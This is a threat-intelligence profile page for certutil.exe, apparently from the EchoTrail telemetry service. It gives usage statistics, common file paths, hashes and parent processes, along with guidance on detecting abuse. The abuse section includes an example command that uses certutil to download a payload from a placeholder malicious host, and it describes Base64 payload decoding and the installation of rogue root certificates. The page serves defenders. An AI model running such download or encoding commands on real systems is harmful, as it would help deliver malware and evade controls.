certutil.exe
Sources: 300M+ executions observed in the wild.
Summary
Certificate Utility (certutil.exe) manages certificates, certificate stores, and Certificate Services on Windows. It can also encode/decode files using Base64 and hex, verify file hashes, and download files via URL.
certutil.exe is the 337th most commonly executed Windows program in EchoTrail's dataset, observed 26,544 times across enterprise environments. It typically runs from C:\Windows\System32 and it is most often launched by powershell.exe.
Get this in your tools
The same record for certutil.exe, by REST or as an MCP tool. Free key, no card.
curl -H "Authorization: Bearer $ECHOTRAIL_KEY" \
https://api.echotrail.io/v1/process/certutil.exeFree returns the summary. Team returns the full record you see on this page. Endpoint docs
Behavior
Top Paths
- C:\Windows\System3296.58%
- C:\Windows\SysWOW641.64%
- C:\Program Files\Intel\Intel(R) Online Connect Access\certutil1.13%
- C:\Program Files (x86)\VMware\Plug-in Service0.41%
- C:\Program Files (x86)\VMware\Client Integration Plug-in 6.00.23%
- C:\Program Files\ZeroTier\ZeroTier One Virtual Network Port\zttap300<0.01%
Top Hashes (SHA256)
- e2a5fb1ca722474b76d6da5c5b1d438a1e58beca52864862555c9ab1b533e72d29.66%
- ccd90e5850a1b5853ff807fcebedca42fa2015d0792946f41a35bcf50cbd368413.69%
- 9d8eceef7830476102c2cbbe933e1375ffb624574a63bdd8d3b15d3030c9a16d13.27%
- 1d3f77bb3fbaa7ef49892a5f028a5b14171b542cc6ed39e584b0472a75ecfda511.69%
- 22d1471ed17c681aa5580c59712005e1c70ef9c306cbcad245a64f7dfae478478.89%
- 16fe23a142fe13342950b255d1713b922a9a88e5aa7551584b5034e0c635bdb55.43%
- df28158ea229ab67f828328fc01ea7629f3b743ecea8c0b88fba80cd7efc3a753.67%
- 33321e0fbfa24aa931d7db93c5e9245d8499f2d5c8f2f4b22074a385c02d19c03.48%
- a15f554cce4e5ea0e66bfbd21d0d0934e40ddb5541e8af99b9eac82a39a367132.77%
- 7f924c38130a582fc3b6f94f388234789569c3d8101fd471925217d0f62121752.07%
Process Ancestry
Top Grandparents
- msiexec.exe20.9%
- vmware-cip-launcher.exe12.47%
- chrome.exe7.04%
- cmd.exe5.43%
- explorer.exe2.31%
- nmap-7.70-setup.exe0.69%
- browser_broker.exe0.12%
Top Parents
- powershell.exe95.24%
- cmd.exe1.98%
- cscript.exe1.04%
- vmware-cip-init.exe0.41%
- vmware-csd.exe0.23%
- msiexec.exe0.11%
- python.exe0.1%
- rundll32.exe0.03%
Top Children
- conhost.exe100%
Security Analysis
What does certutil.exe normally do?
Located in C:\Windows\System32 or C:\Windows\SysWOW64. In this dataset, predominantly launched by powershell.exe and cmd.exe. Used for certificate management, CA configuration, and PKI operations.
When is certutil.exe suspicious?
Downloading files: certutil -urlcache -split -f <URL>. Encoding/decoding: certutil -encode or certutil -decode (Base64 file operations). Running from non-System32 paths. Spawned by unusual parents (Office applications, w3wp.exe).
How do attackers abuse certutil.exe?
File download: certutil -urlcache -split -f http://malicious.com/payload.exe downloads files using a signed Microsoft binary, bypassing many download controls. Base64 encode/decode: used to decode dropped payloads or encode data for exfiltration. Hash verification: certutil -hashfile used for reconnaissance (verifying file integrity of targets). Certificate store manipulation: installing rogue CA certificates for TLS interception.
Detection guidance
High-confidence: certutil with -urlcache and -f flags (file download). certutil with -encode or -decode (payload manipulation). certutil launched by Office applications or w3wp.exe. Medium-confidence: certutil -addstore adding certificates to the root store. Monitor Sysmon Event ID 1 for command-line patterns and Event ID 3 for network connections.
False positive notes
PowerShell scripts managing certificates use certutil legitimately. PKI infrastructure management. Some monitoring tools hash-check files via certutil. Focus on the specific flags (-urlcache, -encode, -decode) rather than all certutil usage.
Related Processes
Ask Rocky about certutil.exe
Rocky is the free chat demo. It answers from this same dataset, no account needed.
This page is the Team-tier API record for certutil.exe. The free tier returns the summary, 500 lookups a month. Or ask Rocky.